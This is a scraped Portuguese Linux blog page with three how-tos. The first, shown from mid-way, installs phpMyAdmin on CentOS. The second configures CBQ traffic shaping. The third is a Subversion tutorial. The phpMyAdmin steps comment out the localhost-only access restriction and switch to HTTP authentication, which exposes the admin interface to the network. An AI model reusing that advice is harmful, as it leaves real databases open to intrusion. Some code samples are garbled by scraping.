[root@appunixlabs ~]# yum install http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.2-2.el6.rf.x86_64.rpm

Se seu sistema for 32 bits rode:

[root@appunixlabs ~]# yum install http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.2-2.el6.rf.i686.rpm

Agora vamos instalar o phpmyadmin:

[root@appunixlabs ~]# yum install phpmyadmin -y

Precisamos agora criar aliases para que o phpmyadmin seja acessível sem qualquer transtorno junto ao apache, para isto devemos mudar o seguinte conf-> /etc/httpd/conf.d/phpmyadmin.conf e devemos mudar o seguinte, comentar as linhas abaixo (caso não estejam comentadas):

#<Directory "/usr/share/phpmyadmin">
#  Order Deny,Allow
#  Deny from all
#  Allow from 127.0.0.1
#</Directory>


E garantir que os aliases estejam conforme os abaixo dessa linha:

Alias /phpmyadmin /usr/share/phpmyadmin
Alias /phpMyAdmin /usr/share/phpmyadmin
Alias /mysqladmin /usr/share/phpmyadmin

Feito isso devemos garantir que nosso phpmyadmin faça validação por HTTP e não por meio de cookies, devemos editar o seguinte conf /usr/share/phpmyadmin/config.inc.php e mudar a seguinte linha:

/* Authentication type */
$cfg[‘Servers’][$i][‘auth_type’] = ‘http’;

Em http fica cookie, troque cookie por http para evitar dor de cabeça.

Depois de salvar o arquivo faça com que tudo esteja validado reiniciando o apache:

[root@appunixlabs ~]# /etc/init.d/httpd restart

Pressupondo que o ip deste server seja 10.0.0.1, para que meu pc em rede confirme se o apache está fino podemos abrir nosso navegador e colocar o seguinte endereço: http://10.0.0.1/phpmyadmin

Tudo ok?

Abraços e bons estudos.

Fontes:

Centos: http://centos.org/
Apache: http://apache.org
Mysql: http://mysql.com/
PhpMyadmin: http://www.phpmyadmin.net/home_page/index.php
PHP: http://www.php.net/
Linux: http://en.wikipedia.org/wiki/Linux
RPMForge: http://rpmrepo.net/RPMforge
How to forge: http://www.howtoforge.com/installing-apache2-with-php5-and-mysql-support-on-centos-6.0-lamp

Como fazer QoS de banda (controle de banda) no Ubuntu Server, Debian, Fedora, Centos, RedHat e etc

Standard

Vamos perceber o seguinte.
Esse how to serve para TODAS as distribuições que rodam como um gateway de internet, sendo somente um caso de particularidade a questão de paths de configurações, como por exemplo, para instalar o CBQ no ubuntu basta usar apt-get install shaper -y.
Isto instalará ele e basta você localizar o path aonde o script shaper está (/etc/init.d/shaper) e seus respectivos confs (/etc/shaper).
No caso das outras distribuições (red hat based -> Centos, Fedora e Red Hat) podemos ver que seu path fica em /etc/sysconfig/cbq. No caso de red hat já existe um arquivo de exemplo que serve para mostrar como as coisas são configuradas no padrão, seu nome é cbq-0000.example e existe outro mas é um caso de utilização do próprio CBQ, o avpkt.
Neste caso iremos criar tudo na mão.
Antes de por a mão na massa temos de entender algumas regras PRIMÁRIAS do CBQ.
Abaixo seguem as mesmas:

O nome dos arquivos de download

cbq-0002-download.in

Todos os arquivos de download devem obedecer a algumas regras na hora de serem nomeados. A primeira delas é que todos os arquivos de download devem começar com cbq-

cbq-0002-download.in

A numeração sempre deve começar a partir do 0002;

cbq-0002-download.in

Todos os arquivos devem terminar com .in

cbq-0002-download.in

O conteúdo dos arquivos de download

DEVICE=eth1,10Mbit,1Mbit
RATE=64Kbit
WEIGHT=6Kbit
PRIO=5
RULE=10.0.0.2
BOUNDED=yes
ISOLATED=yes

DEVICE=eth1,10Mbit,1Mbit – Esta linha contém a interface que sai para os clientes da rede.
RATE=64Kbit – Quantidade de banda destinada ao cliente. Aqui coloca-se qualquer valor que se deseje separar para o IP do cliente.
WEIGHT=6Kbit – Taxa máxima de download que o cliente pode alcançar (com pequenas variações para mais ou para menos).
PRIO=5 – Prioridade com que o IP do cliente deve ser vigiado. O normal é deixar 5.
RULE=10.0.0.2 – IP do cliente a ser vigiado.
BOUNDED=yes – Se setado para yes o usuário estará limitado mesmo que o link esteja com folga.
ISOLATED=yes – Se setado para yes indica que o cliente não poderá emprestar banda pra ninguem.

Arquivos de upload
O nome dos arquivos de upload

cbq-0002-upload.out

Todos os arquivos de upload devem obedecer a algumas regras na hora de serem nomeados. A primeira delas é que todos os arquivos de upload devem começar com cbq-

cbq-0002-upload.out

A numeração sempre deve começar a partir do 0002;

cbq-0002-upload.out

Todos os arquivos devem terminar com .out

cbq-0002-upload.out

O conteúdo dos arquivos de upload

DEVICE=eth1,10Mbit,1Mbit
RATE=64Kbit
WEIGHT=6Kbit
PRIO=5
RULE=10.0.0.2,
BOUNDED=yes
ISOLATED=yes

DEVICE=eth1,10Mbit,1Mbit – Esta linha contém a interface que sai para os clientes da rede.
RATE=64Kbit – Quantidade de banda destinada ao cliente. Aqui coloca-se qualquer valor que se deseje separar para o IP do cliente.
WEIGHT=6Kbit – Taxa máxima de download que o cliente pode alcançar (com pequenas variações para mais ou para menos).
PRIO=5 – Prioridade com que o IP do cliente deve ser vigiado. O normal é deixar 5.
RULE=10.0.0.2, – IP do cliente a ser vigiado. Observe que no arquivo de upload, o IP termina com uma vírgula (,).
BOUNDED=yes – Se setado para yes o usuário estará limitado mesmo que o link esteja com folga.
ISOLATED=yes – Se setado para yes indica que o cliente não poderá emprestar banda pra ninguem.

Iniciando o CBQ

Depois de criadas todas as regras, é preciso compilá-las, com o comando (isto em fedora, redhat e centos):

root@appunixlabs~# cbq compile

No caso do Debian, Ubuntu, Mint e similares:

root@appunixlabs~# /etc/init.d/shaper compile

Basta, depois da compilação, iniciar o CBQ com o comando (isto em fedora, redhat e centos):

root@appunixlabs~# cbq start

No caso do Debian, Ubuntu, Mint e similares:

root@appunixlabs~# /etc/init.d/shaper start

Ou se desejar pará-lo (isto em fedora, redhat e centos):

root@appunixlabs~# cbq stop

No caso do Debian, Ubuntu, Mint e similares:

root@appunixlabs~# /etc/init.d/shaper stop

CBQ na inicialização

Adicione o comando cbq start ao rc.local para que carregue sozinho no ato do boot
(isto em fedora, redhat e centos):

root@appunixlabs~# echo "cbq start" >> /etc/rc.local

No caso do Debian, Ubuntu, Mint e similares:

root@appunixlabs~# echo "/etc/init.d/shaper start" >> /etc/rc.local

Fontes:

http://www.ubuntu.com/ubuntu (ubuntu)
http://www.debian.org/ (debian)
http://centos.org/ (centos)
http://www.projetofedora.org/ (fedora)
http://sourceforge.net/projects/cbqinit/ (cbq)
http://migre.me/5gcMr (cbq sob fedora)

How to sobre como usar o Subversion (usuário)

Standard

Prefácio

Lancei este tutorial sobre o Subversion, originalmente, no dia 30 de maio de 2005 ainda pelo PATUX – Projeto de Aprendizado Tecnológico Universitário, na Universidade de Brasília (UnB), a partir de traduções e adaptações do manual oficial do mesmo (http://svnbook.red-bean.com). Tinha como objetivo explicar o funcionamento deste sistema de versionamento (com documentação deficitária, em português, à época), e ensinar os membros do projeto a acessar os repositórios e contribuir para o desenvolvimento de software livre.Desde então, muita coisa mudou: o projeto terminou, o Subversion (que na período estava na versão 1.0.8 e era visto com certa desconfiança em relação ao já estabelecido CVS) já chegou à versão 1.5.4, vários novos front-ends foram lançados, suporte às mais populares IDEs (Eclipse, Visual Studio, entre outras) foi adicionado e, não menos importante (pelo menos para mim :P), pude alcançar um sonho particular: trabalhar e liderar conjuntamente uma empresa que verdadeiramente representa e trabalha em prol do software livre, a PWSys – Soluções em Tecnologia.

Assim sendo, creio ser de grande valia o relançamento deste documento, revisado e generalizado para utilização em cenários menos específicos que os que imaginei inicialmente. Reforça, ainda, a posição de comprometimento da PWSys com relação ao software livre e sua comunidade: outros documentos como este serão lançados, estando dispostos para auxiliar a propagação da cultura open source no Brasil.

Dito isso, sigam com o prefácio original deste tutorial.

Este tutorial visa dar uma introdução rápida sobre como utilizar o sistema de controle de versões Subversion. Este tutorial consistirá basicamente de quatro capítulos (clique nos links para ir diretamente):

  1. O que é o Subversion?
  2. Conceitos básicos de versionamento
  3. Comandos do Subversion
  4. Front-ends
Espero que com o que for explicado aqui o leitor possa utilizar de pronto e sem maiores problemas qualquer repositório Subversion. Esta é uma leitura altamente recomendada para os iniciantes em sistemas de versionamento, porém se quiser obter mais informações consulte o site oficial do Subversion (http://subversion.tigris.org) e o manual oficial (http://svnbook.red-bean.com), que contém muito mais detalhes do que este documento. Quaisquer dúvidas ou sugestões busque diretamente o autor, em seu e-mail (
<!–
var prefix = ‘ma’ + ‘il’ + ‘to’;
var path = ‘hr’ + ‘ef’ + ‘=’;
var addy72051 = ‘fbscarel’ + ‘@’;
addy72051 = addy72051 + ‘pwsys’ + ‘.’ + ‘com’ + ‘.’ + ‘br’;
document.write( ‘<a ‘ + path + ‘” + prefix + ‘:’ + addy72051 + ‘’>’ );
document.write( addy72051 );
document.write( ‘</a>’ );
//–>n fbscarel@pwsys.com.br
<!–
document.write( ‘<span style=’display: none;’>’ );
//–>
). Boa leitura!Felipe Scarel, 10 de dezembro de 2008.

Licença

Copyright (c)  2008  Felipe Brant Scarel e PWSys – Soluções em Tecnologia
Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license can be read at http://www.gnu.org/copyleft/fdl.html

Histórico de Revisões

Versão Data Autor Comentários
1.1 2008-12-10 11:25:26 Felipe Scarel Novo prefácio, Reescrita do Cap. 4
1.0 2005-05-30 01:30:04 Felipe Scarel Versão inicial do documento

O que é o Subversion?

O Subversion é um sistema de controle de versões livre, ou opensource. Com “sistema de controle de versões” queremos dizer que ele é capaz de gerenciar arquivos e diretórios ao longo do tempo. Basicamente, os arquivos são guardados em um repositório central e são servidos aos clientes. Muito embora isto se assemelhe a um servidor de arquivos, a diferença fundamental do Subversion é que ele guarda todas as modificações feitas nos arquivos e diretórios ao longo do tempo. Isso nos permite recuperar versões antigas dos dados ou simplesmente verificar o histórico destes. Por este motivo, é comum pensar nos sistemas de versionamento como “máquinas do tempo”. Para compreender melhor o Subversion é interessante que conheçamos um pouco da sua história:

No mundo do software livre, desde o início fez-se necessária uma ferramenta que pudesse controlar o aparente “caos” com que os programas são desenvolvidos. Para que todos pudessem desenvolver simultaneamente e sem prejuízo à organização foram criadas ferramentas de versionamento livres, sendo a mais bem-sucedida delas o Concurrent Versioning System (CVS), que logo se tornou o padrão em projetos opensource, e assim permanece até hoje. E com toda a razão, pois o fato de ser software livre, ter um design não-restritivo e bom suporte a rede permitem que vários programadores ao redor do mundo compartilhem seu código e construam softwares em conjunto. Porém, dada a sua idade, o CVS está se tornando ultrapassado, e muitos recursos modernos dos sistemas de versionamento não podem nele ser encontrados.

No início de 2000, a CollabNet (http://www.collab.net) comecou a buscar programadores para desenvolver um substituto ao CVS, que pudesse implementar o que ele apresenta de melhor mas sem copiar suas falhas mais evidentes. Eles então buscaram Karl Fogel (também um dos autores do livro do Subversion), que já vinha discutindo idéias semelhantes com seu amigo Jim Blandy. Este último inclusive já havia tido não apenas a idéia do nome “Subversion” bem como feito o layout básico de um repositório Subversion. Chamado pela CollabNet, Karl imediatamente foi trabalhar no projeto e Jim fez com que sua companhia, a conhecida Red Hat, praticamente o doasse ao projeto. Fortalecidos ainda pela contratação de Ben Collins-Sussman, eles iniciaram a codificação, e, após catorze meses, mais precisamente a 31 de Agosto de 2001, o Subversion passou a versionar seu próprio código e tornou-se uma realidade.

Muito embora os sistemas de versionamento, e por conseguinte o Subversion, sejam mais comumente usados para auxiliar programadores em seu desenvolvimento, é importate frisar que o Subversion não é limitado a ajudar programadores e pode ser utilizado para versionar qualquer tipo de dado. Para esclarecer os conceitos por trás dos sistemas de versionamento leia o próximo capítulo, que tratará precisamente deste tema. Se já estiver acostumado com estes conceitos e quiser apenas ver como o Subversion os implementa, pode seguir diretamente para o capítulo 3. Caso queira começar realmente rápido, mas provavelmente sem uma base teórica necessária, siga para o capítulo 4.

Conceitos Básicos de Versionamento

O Subversion é um sistema centralizado para compartilhar informações e dados. Ele é baseado em um repositório central, onde os dados ficam guardados sob a forma típica de uma árvore de arquivos e diretórios. Um número qualquer de clientes conectam-se ao repositório e lêem (recebendo as informações dos outros) ou escrevem (disponibilizando a informação aos demais) nestes dados. Até o momento isto não seria muito diferente de um servidor de arquivos normal, mas como foi explicado no primeiro capítulo, o Subversion tem a capacidade de guardar todas as alterações feitas aos arquivos, permitindo que elas sejam observadas, comparadas entre si, e eventualmente sobrescritas umas sobre as outras.Já sabemos o principal objetivo dos sistemas de versionamento. Porém, como faríamos para que todos pudessem trabalhar colaborativamente mas sem que ocorresse uma eventual sobrescrita, acidental, em nosso repositório? Vamos primeiramente apresentar o problema:

  • Suponhamos que dois usuários leiam as informações do repositório e iniciem a fazer modificações para posteriormente submeter suas contribuições. Se um usuário mandar suas modificações, e, logo depois, o outro também tiver a mesma idéia, o que ocorrerá é que as modificações do primeiro usuário não serão visualizadas ou aproveitadas, pois serão substituídas pelas alterações do segundo (uma vez que o padrão é visualizar a versão mais recente).

Para este problema temos duas soluções que são largamente utilizadas pelos sistemas de versionamento: a “Lock-Modify-Unlock” (Trancar-Modificar-Destrancar) e a “Copy-Modify-Merge” (Copiar-Modificar-Unir). Vamos apresentar separadamente cada uma delas:

  • “Lock-Modify-Unlock”:

Muitos sistemas de versionamento utilizam esta solução, que consiste basicamente em um sistema  parecido com o aluguel de livros em uma biblioteca: um usuário tranca o arquivo para edição, e enquanto ele faz suas modificações os demais não podem acessar o arquivo para escrita; se tentarem fazê-lo, o servidor irá negar a requisição. Logo após o primeiro usuário encerrar sua edição, ele irá destrancar o arquivo, e agora sim os demais poderão acessá-lo. Os problemas desta solução logo aparecem, pois ela é muito restritiva: se o primeiro usuário, por exemplo, sair de férias e esquecer o arquivo trancado, os demais terão que esperar até que ele volte ou contatar um administrador do sistema, o que não é desejável. Outro fator: suponhamos que dois usuário queiram editar o mesmo arquivo; isto não será um problema se um deles quiser editar o começo do arquivo e o outro quiser editar o final deste, e neste caso a solução tornaria o processo burocrático. Finalmente, esta solução cria um falso senso de segurança, pois se dois usuários trancarem arquivos diferentes, porém dependentes entre si, eles poderão modificá-los de forma a torná-los incompatíveis. Neste caso o sistema não teve poder para impedir que tal fato prejudicial ocorresse.

  • “Copy-Modify-Merge”:
O Subversion, CVS, e outros sistemas de versionamento preferem utilizar esta solução como uma alternativa ao trancamento dos arquivos. Neste modelo, cada usuário contata o repositório e copia para si a chamada “working copy”, que é uma cópia fiel da estrutura de arquivos e diretórios do servidor. Esses usuários trabalham em suas cópias particulares em paralelo, e finalmente suas modificações são unidas em uma versão final. Na maioria das vezes o repositório cuida do trabalho de fazer a união ocorrer corretamente, mas em última instância um ser humano deve cuidar desse processo. Na prática, suponhamos que dois usuários obtivessem working copies para si e comecassem a editá-las. Se um deles submeter suas modificações primeiro, quando o outro tentar mandar suas alterações o repositório lhe retornará um erro de “out-of-date” (arquivo antigo). Neste caso, o usuário receberá uma cópia do arquivo novo e deverá comparar esta nova versão com a sua, alterada localmente. Há uma boa chance de que as modificações não sejam conflitantes, e ele então poderá unir suas modificações com as de seu colaborador e submeter uma nova versão, com ambas as contribuições. Mas e se as alterações forem conflitantes? Como o próprio nome indica, nesse caso temos um “conflict” (conflito), e este deverá ser resolvido pelo usuário (uma vez que o programa não é capaz de tomar as decisões inteligentemente). Após resolver o conflito preexistente, possivelmente após uma conversa com o outro usuário, ele poderá então mandar a versão final e funcional.

O modelo utilizado pelo Subversion pode parecer caótico, mas quando vamos observá-lo mais de perto veremos que ele funciona de forma transparente; conflitos são infrequentes, e, quando ocorrem, são resolvidos rapidamente. Isso depende, contudo, de uma comunidade comunicativa e responsiva.

Comandos do Subversion

Vamos ver agora o Subversion em ação. Utilizaremos nos exemplos o cliente de linha de comando do Subversion, “svn”. No quarto capítulo apresentarei ainda alguns clientes gráficos do Subversion para poupar aqueles de vocês que não apreciam a interface de texto.

Primeiramente, suponhamos que iremos acessar um repositório exemplo. Vamos cuidar então da primeira parte, que será obter nossa working copy. Talvez fosse uma boa idéia ver a estrutura de diretórios do repositório exemplo na web, através de um visualizador como o WebSVN; digamos que a estrutura dos diretórios no servidor fosse a seguinte:

svn/
.
. exemplo/
. tags/
. branches/
. trunk/
. README
.
. outros/
. x/
. y/
. z/

Vamos começar então com o comando mais importante de todos – como obter ajuda:

[shell]$ svn help

O comando acima mostraria todos os complementos possíveis ao “svn”, e poderíamos então descobrir qual comando é o mais apropriado para o nosso problema. Supondo agora que gostaríamos de obter uma working copy do repositório exemplo, digitaríamos então o seguinte comando:

[shell]$ svn checkout http://www.foo.bar/svn/exemplo
A  exemplo
A  exemplo/tags
A  exemplo/branches
A  exemplo/trunk
A  exemplo/trunk/README
Checked out revision 1.

Este comando faria o checkout, ou cópia, da pasta “exemplo”, com todo o seu conteúdo, para o diretório atual. Isto quer dizer que, com este comando, obteríamos uma working copy para edição local, possibilitando-nos que trabalhássemos nela de pronto.

Podemos observar naquela última linha “Checked out revision 1″; vejamos o que ela exatamente quer nos dizer: ela nos informa que acabamos de fazer o checkout (ou cópia) dos arquivos do servidor pertencentes à revisão 1. Quando dizemos “revisão 1″, estamos nos referindo ao estado exato do repositório quando este se encontrava na referida revisão 1. Após alguém mandar alterações ao repositório, este passará à revisão 2, que será a mais recente (também conhecida como HEAD). Mas a revisão 1 ainda estará lá, e podemos vê-la ou recuperá-la com os comandos nativos do subversion, normalmente adicionando o switch “-r” ou “–revision”.

Podemos nos referir às revisões de três formas: a mais comum é através do número, que é único e crescente (como em “revision 1″); outra forma é através de palavras-chave que o Subversion nos fornece, como por exemplo HEAD (que se refere à revisão mais recente no repositório); finalmente, podemos nos utilizar ainda de datas em formatos predefinidos.

Expliquemos ainda a estrutura de diretórios dividida em trunk/, branches/ e tags/, largamente utilizada como padrão em repositórios: o diretório trunk/ contém a linha principal de desenvolvimento do projeto, e é nela que boa parte do código é desenvolvido. Pode ser necessário, no entanto, que se desenvolva uma nova capacidade ou característica de um programa, por exemplo. Tal desenvolvimento potencialmente tornaria o código da linha trunk/ instável, e, para evitar esse fato criaríamos um branch do projeto, focado unicamente em desenvolver essa característica específica que seria posteriormente portada de volta à árvore trunk/. Esta é superficialmente a função do diretório branches/.

É também perfeitamente possível que um programa, documento, etc, chegue em um nível de estabilidade tal que poderia ser liberado ao público e no qual não seria desejável nenhuma alteração. Essa é a função do diretório tags/, no qual residem as denominadas versões “estáveis” do projeto em questão.

Retornando aos comandos do Subversion, suponhamos agora que você deixou sua working copy parada por uns tempos e agora resolveu voltar a trabalhar nela. É possível, na verdade provável, que o estado do repositório tenha sido alterado desde sua última conexão. Para trabalhar em cima das versões mais recentes, é necessário que baixemos as modificações, e o faremos através do svn update:

[shell]$ svn update
U  exemplo/trunk/README
U  exemplo/trunk/novo.txt
Updated to revision 2.

Este comando deverá ser executado sob o diretório em que se encontra a working copy, obviamente. Ele irá buscar no servidor as modificações ocorridas em relação à versão local e aplicá-las de imediato.

A esta altura você deve ter notado as letras que apareceram nos últimos comando, A e U. Mas o que elas querem dizer? Vamos ver a seguir:

  • U: o arquivo foi “Updated” (atualizado) a partir do servidor
  • A: o arquivo ou diretório foi “Added” (adicionado) à sua working copy
  • D: o arquivo ou diretório foi “Deleted” (deletado) da sua working copy
  • R: o arquivo ou diretório foi “Replaced” (substituído) em sua working copy, ou seja, um elemento foi deletado e posteriormente outro com o mesmo nome foi adicionado; embora tenham o mesmo nome o repositório consegue percebê-los como arquivos diferentes
  • G: o arquivo no servidor recebeu alterações, mas sua cópia local tinha as suas modificações; ou as alterações não interceptavam ou eram idênticas às suas, então o Subversion conseguiu colocá-las em  estado de “merGed” (união) sem problemas
  • C: o arquivo recebeu alterações “Conflicting” (conflitantes) com as suas, ou seja, na mesma seção do arquivo; trataremos deste caso mais adiante no capítulo

Agora que já temos nossa working copy, podemos começar a trabalhar nela. Temos a possibilidade de fazer dois tipos de mudança: em arquivos específicos ou em diretórios (adicionando e removendo arquivos, por exemplo). No primeiro caso, não é necessário informar o Subversion com algum comando específico, pois ele será capaz de perceber quais arquivos foram mudados e submeter essas alterações ao servidor. Já no segundo caso, poderemos usar um dos quatro comandos básicos para manipulação de arquivos, explicados abaixo:

  • svn add

[shell]$ svn add novo.txt
A novo.txt

Este comando irá adicionar o arquivo “novo.txt” ao sistema de controle de versões, e ele também passará a ser versionado pelo repositório Subversion. Isto quer dizer que o arquivo existia para o seu computador mas era ignorado pelo Subversion, e, ao usar o “svn add”, você informou o Subversion que ele deve agora ser versionado. Se fosse um diretório, ele e todos os seus arquivos subjacentes seriam também adicionados. Vale lembrar que este passo não é opcional: não basta criar o arquivo, o “svn add” é fundamental.

  • svn delete

[shell]$ svn delete novo.txt
D novo.txt

Este outro comando irá agendar “novo.txt” para deleção do repositório. Se este fosse um arquivo ou link simbólico, ele seria imediatamente deletado da sua working copy; se fosse um diretório, seria deletado apenas após mandarmos as alterações ao servidor. É importante frisar que, após mandarmos as mudanças de volta ao repositório, o arquivo será deletado apenas da revisão mais recente, mas ainda estará presente nas revisões anteriores.

  • svn copy

[shell]$ svn copy novo.txt velho.txt
A velho.txt

O “svn copy” acima irá copiar o arquivo “novo.txt”, juntamente com seu histórico, para um arquivo denominado “velho.txt”, que será imediatamente agendade para adição no repositório. O histórico do arquivo criado irá indicar que ele é proveniente de um outro.

  • svn move

[shell]$ svn move novo.txt velho.txt
A velho.txt
D novo.txt

Como pode ser visto acima, o “svn move” irá apenas fazer o papel de “svn copy” e “svn delete” em um só comando; ele irá copiar o arquivo com um outro nome e depois irá deletar o original, o que seria basicamente o equivalente a renomear um arquivo qualquer.

Agora que já editamos o que fosse necessário ou desejável, seria interessante verificar o que foi modificado antes de mandar nossas alterações ao repositório, criando uma nova revisão. Podemos fazê-lo através do svn status (certamente o comando que você deve, espera-se, mais utilizar no Subversion):

[shell]$ svn status
M      bar.c
?      foo.o
!      qq_dir
I      .screenrc
A  +   moved_dir
M  +   moved_dir/README
D      outros/teste.c
A      outros/calc/soma.h
C      outros/calc/divide.c
R      xyz.c
S  outros/game

Temos acima um possível exemplo de saída do comando “svn status”, que nos ajudará a explicar os status mais importantes a serem compreendidos. Na primeira coluna, temos:

  • A: o arquivo/diretório foi agendado para adição no repositório
  • C: o arquivo está em estado de conflito e será necessário resolvê-lo antes de mandar as alterações ao servidor
  • D: o arquivo/diretório foi agendado para deleção no repositório
  • M: o conteúdo do arquivo foi modificado
  • R: o arquivo foi agendado para substituição no repositório, com o mesmo nome de um que foi deletado
  • ?: o arquivo em questão não está sob controle de versão (possivelmente foi criado e não foi utilizado o “svn add”)
  • !: o arquivo não está presente por algum motivo, possivelmente tendo sido deletado sem o uso de um comando Subversion
  • I: o arquivo foi configurado para ser ignorado pelo sistema de controle de versões;

Na coluna seguinte poderemos ver um “+” ou não, indicando que um arquivo foi agendado para adição no repositório com a preservação de seu histórico. Isso provavelmente nos dirá que ele é proveniente de uma cópia com o “svn copy” (A+), ou, além de ter sido copiado também foi modificado localmente (M+). A última coluna nos dirá se um arquivo ou diretório foi deslocado do caminho do restante de sua working copy, com o comando “svn switch”, para um branch ou tag (explicados mais à frente). Para a referência completa dos possíveis outputs do “svn status” consulte o manual oficial do Subversion.

Adicionando o switch “-u” ou “–show-updates” ao “svn status”, juntamente com a opção “-v” ou “–verbose” (para maior detalhamento), ele irá contatar o servidor e comparar suas modificações com as revisões que lá se encontram, e irá informar sobre arquivos antigos (out-of-date):

[shell]$ svn status –show-updates –verbose
M      *        44        23    john      README
M               44        20    david     bar.c
*        44        35    susan     outros/teste.c
Status against revision:   46

Os asteriscos acima nos indicam que caso fosse utilizado o “svn update” neste ponto os arquivos “README” e “teste.c” receberiam modificações. Isto quer dizer que nossa revisão local está desatualizada e devemos fazer um update para receber as modificações nestes arquivos e conferir se estas conflitam com a versão local.

Digamos agora que queremos saber exatamente quais modificações fizemos aos arquivos antes de mandá-las ao servidor; esta seria uma boa hora para usar o svn diff, que mostrará as diferenças entre a nossa versão modificada e a versão obtida inicialmente (que fica no diretório oculto .svn):

[shell]$ svn diff
Index: teste.c
===================================================================
— teste.c (revision 3)
+++ teste.c (working copy)
@@ -1,7 +1,12 @@
+#include
+#include
+#include
+
+#include

int main(void) {
–  printf(“Ola mundon”);
+  printf(“Ola de novo mundon”);
return 0;
}

As modificações são mostradas em formato diff unificado, sendo as linhas adicionadas mostradas com um “+” antes e as deletadas mostradas com um “-”. É interessante notar que podemos facilmente produzir um patch (arquivo incluido apenas as modificações em um arquivo) com o auxílio do svn diff, como no exemplo abaixo:

[shell]$ svn diff > patchfile

Suponhamos então que você descobrisse que as suas alterações ao “teste.c” acima foram feitas por engano, e que portanto você gostaria de retornar este arquivo ao seu estado original; é um bom momento para utilizar o svn revert:

$ svn revert teste.c
Reverted ‘teste.c’

Isto retornará nosso arquivo “teste.c” ao seu estado original, quando fizemos nosso último checkout a partir do repositório. É um processo semelhante ao utilizado para recuperar eventuais modificações mandadas ao servidor mas que foram desastrosas.

Neste último caso, bastaria dar um checkout em uma revisão anterior e funcional (usando o switch “–revision”), e posteriormente mandar esta revisão correta ao servidor novamente, se tornando HEAD.

Vale lembrar ainda que estes trás últimos comandos, muito embora lidem diretamente com os arquivos antigos, dispensam uma conexão com a rede, pois o Subversion inteligentemente mantém uma cópia imodificada dos arquivo em uma pasta oculta “.svn”, e depois apenas compara o conteúdo desta pasta com as modificações feitas pelo usuário.

Já estamos praticamente finalizados com nossa tarefa diária: sabemos adicionar e deletar arquivos, verificar as modificações feitas, conferir se estas estão desatualizadas e resolver conflitos simples, processo automatizado pelo Subversion. Mas ainda resta uma dúvida: e se nossas modificações não resultarem em um conflito simples, no qual nossa alteração intercepta diretamente a de um colaborador? Vejamos a saída de um svn update que causará esse problema:

[shell]$ svn update
U  INSTALL
G  README
C  teste.c
Updated to revision 46.

As letras U e G caem naqueles casos estudados anteriormente: no primeiro foi feito um update simples e no segundo o Subversion conseguiu unir as modificações locais e remotas sem maiores problemas. Já a terceira ocorrência poderá nos causar um problema, pois indica um conflito (C). Neste caso surgirão três arquivos no diretório de trabalho: [ARQUIVO].mine (com as alterações locais), [ARQUIVO].r[OLD] (arquivo imodificado desde o último update) e [ARQUIVO].r[NEW] (o arquivo proveniente do update, diretamente do repositório). Serão ainda colocados marcadores de conflito no arquivo original, a fim de auxiliar o processo de análise. Poderemos resolver o conflito de três formas:

  • Unir os arquivos manualmente:

Pode parecer ameaçador, mas fazer a união dos arquivos é na verdade realmente simples: analisar-se-á as alterações feitas remotamente e estas serão comparadas às locais. O usuário deverá decidir qual delas é a melhor, ou então poderá juntar ambas as soluções. De qualquer maneira, é imprescindível que haja uma boa comunicação entre os colaboradores, pois seria conveniente que houvesse uma discussão entre eles para decidir o melhor caminho.

  • Escolher uma das opções:

Pode-se ainda optar por simplesmente copiar uma das soluções inteiramente, ou a local ou a remota. Nesse caso, bastaria um “cp” simples dos sistemas UNIX-like para resolver o conflito.

  • Descartar as edições locais:

Finalmente, é também possível perceber que as alterações feitas localmente não deveriam ser mandadas ao repositório. Neste último caso, bastaria um “svn revert” para encerrar o conflito e retornar os arquivos aos seus estados originais.

Uma vez resolvidos todos os conflitos, devemos informar o Subversion, e o faremos com o comando svn resolved:

[shell]$ svn resolved teste.c

Com este comando os arquivos extras que haviam sido criados serão excluídos e a condição de conflito desaparecerá. Agora sim poderemos mandar nossas modificações ao repositório (finalmente!), e o faremos com o comando svn commit:

[shell]$ svn commit -m “Algumas modificacoes simples no arquivo teste.c”
Sending        teste.c
Transmitting file data .
Committed revision 47.

O comando acima submeterá nossas modificações locais ao repositório, e a mensagem passada através do switch “–message” ou “-m” será a mensagem de log do commit. É importantíssimo que essa mensagem descreva precisamente o que foi modificado, assim ficará muito mais fácil recuperar o repositório após um engano, além de ajudar os usuário a utilizar o sistema com mais eficiência. Essa mensagem pode ser ainda passada através de um arquivo, com o switch “–file”.

Existem ainda muitos outros comandos que este tutorial não cobriu, afinal o seu foco é de que seja uma fonte rápida para consulta e aprendizado. Dentre estes encontram-se comandos de pesquisa e administrativos. É altamente recomendada a leitura, complementar, do manual oficial do Subversion.

Front-ends

Desde a versão original deste documento, o número de front-ends disponíveis para o Subversion aumentou drasticamente, exigindo total reformulação desta seção. Aos programas descritos originalmente (RapidSVN, WebSVN e TortoiseSVN), juntaram-se vários outros dignos de nota e de usos variados, e que tornam esse sistema de controle de versão ainda mais interessante de ser utilizado. De clientes stand-alone até aqueles integrados ao desktop, passando por aplicações para browsing via web ou IDE, o número de opções para acessar e operar repositórios SVN é tanto que seria até injusto eleger alguns poucos para figurar neste tutorial.

Assim sendo, irei utilizar o mesmo approach da página de links do site oficial do Subversion (http://subversion.tigris.org/links.html): por categorias, cada aplicação e um link para sua página será apresentado, bem como uma breve descrição do programa. Sem mais delongas, vamos à lista:

  1. Cornerstone: cliente gráfico Subversion para Mac OS X. Não é open source, mas possui versão trial gratuita disponível
  2. eSvn: cliente gráfico multiplataforma baseado em QT para o Subversion
  3. FSVS: rápido cliente de linha de comando para o Subversion centrado em implantação de software
  4. KDESvn: cliente Subeversion para o KDE
  5. QSvn: cliente gráfico multiplataforma para o Subversion
  6. RapidSVN: cliente gráfico multiplataforma para o Subversion
  7. RSVN: script Python que permite múltiplas operações de repositório em uma única transação atômica
  8. SmartSVN: cliente gráfico multiplataforma para o Subversion. Não é open source, mas está disponível em versões gratuita e comercial
  9. Subcommander: cliente gráfico multiplataforma para o Subversion, inclui ferramenta para merge textual
  10. SvnX: cliente gráfico multiplataforma para Mac OS X Panther
  11. Syncro SVN Client: cliente gráfico multiplataforma para o Subversion. Não é open source, mas possui versão trial disponível para Mac OS X, Windows e Linux
  12. WorkBench: ambiente de desenvolvimento multiplataforma utilizando Subversion, escrito em Python
  13. Versions: cliente gráfico Subversion para Mac OS X. Não é open source; requer licença comercial
  14. ZigVersion: interface Subversion para Mac OS X. Interface voltada a workflows típicos de programadores. Não é open source
